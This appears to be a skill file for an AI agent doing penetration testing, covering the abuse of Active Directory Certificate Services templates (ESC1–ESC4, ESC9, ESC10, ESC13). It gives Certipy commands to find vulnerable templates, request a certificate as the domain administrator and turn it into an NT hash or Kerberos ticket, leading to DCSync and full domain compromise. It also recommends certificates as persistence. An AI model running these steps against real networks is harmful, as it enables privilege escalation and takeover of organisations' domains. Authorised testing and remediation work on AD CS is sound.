--- name: adcs-template-abuse description: Active Directory Certificate Services certificate-template abuse — ESC1-ESC4, ESC9, ESC10, ESC13 and related misconfigurations that let a low-privileged user enroll a certificate authenticating as a privileged user. Discovery and exploitation with Certipy. Use when AD CS is present and enumeration flags vulnerable templates. --- # AD CS Template Abuse (ESC1-ESC4, ESC9/10/13) AD CS turns "enroll a certificate" into "become a Domain Admin" when templates are misconfigured. Certificates are also durable auth (long validity) — great persistence too. ## Trigger phrases `adcs, esc1, esc2, esc3, esc4, certificate template, certipy, enrollment, pkinit, certificate privesc` ## Discover ``` certipy find -u @ -p -dc-ip -vulnerable -stdout ``` Flags vulnerable templates and the ESC class. ## Exploitation by ESC - **ESC1** (template allows requester-supplied SAN + client-auth EKU + low-priv enroll): request a cert as a DA. ``` certipy req -u @ -p -ca -template -upn administrator@ certipy auth -pfx administrator.pfx -dc-ip # -> NT hash / TGT ``` - **ESC2** (Any Purpose / no EKU): use the cert for any auth. - **ESC3** (Enrollment Agent): request an agent cert, then enroll on behalf of a DA. - **ESC4** (write access to a template): rewrite the template to be ESC1-vulnerable, exploit, revert. - **ESC9/ESC10** (no security extension / weak cert mapping): combine with a controlled account's UPN change to impersonate. - **ESC13** (issuance policy linked to a group): enroll to gain the group's rights. ## Escalation `certipy auth` turns the PFX into an NT hash or Kerberos TGT → DCSync / full compromise. Certificates remain valid even after a password reset — note for remediation. ## Evidence `certipy find` output showing the misconfig, the issued cert, and the authenticated privileged access.